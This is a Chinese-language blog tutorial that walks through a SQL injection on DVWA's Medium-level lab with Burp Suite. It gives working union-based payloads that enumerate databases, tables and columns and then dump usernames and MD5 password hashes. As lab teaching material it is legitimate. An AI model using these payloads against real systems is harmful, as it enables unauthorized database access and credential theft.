使用burpsuite进行sql注入

此环境为DVWA中SQL lnjection,难易程度为Medium


首先在选择框中选择1提交,返回admin的数据


提交2,获得另一个数据


在提交的时间,url里没有任何变化,应该不是GET型,根据判断可能为Cookie型或者POST型,Cookie和POST都是数据包里面进行提交,所以使用burp这款工具查看它属于哪一种接受方式

首先设置浏览器的代理(这里为kali中的firefox)




将代理IP地址设置为127.0.0.1(本地地址),端口为8080(burp默认代理端口)


打卡burp

选择--Proxy--Intercept--Intercept is on打开代理


然后回到SQL Injection,提交1,以可看到为POST接收参数


然后右键,Send to Repeater 打开模拟提交去观察发送和返回包之间的变化


然后点击GO

提交1的时候


提交2的时候


可以看到这个Web页面是通过POST提交的,找到传输的地点以后,通过这个传输点把恶意的SQL语句带入查询看看

输入:1 and 1=1 //返回正常


输入:1 and 1=2 //返回错误


不需要加单引号进行闭合,说明这是一个数字型的SQL注入

然后接着判断列字段值的长度

输入:1 order by 2 //返回正常


输入:1 order by 3 //报错

说明只有2个长度


输入:1 union select 1,2 

可以看见1和2地方存在脆弱点


查看当前使用的数据库名称和当前用户名,在脆弱点1和2上输入database()和user()


可以看到用的数据库为dvwa,当前用户为root@localhost

查看dvwa数据库中有什么表: 1 union select 1,table_name from information_schema.tables where table_schema='dvwa'


可以看到这里的单引号呗转义了,将dvwa转换成16进制,代替dvwa

可以发现dvwa这个数据库中有guestbook和user两个表,经验告诉我,账号密码存放在users表中

查看users表中的列:1 union select 1,column_name from information_schema.columns where table_name=0x7573657273


可以看到users表中的列都被曝了出来,根据经验,user列中存放用户名,password列中存放密码

查看这两个列里面的数据:1 union select user,password from user


到此就获得了这个Web服务器数据库里所有的账号密码

密码都是md5加密后的,可以使用在线MD5解密工具进行解密

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容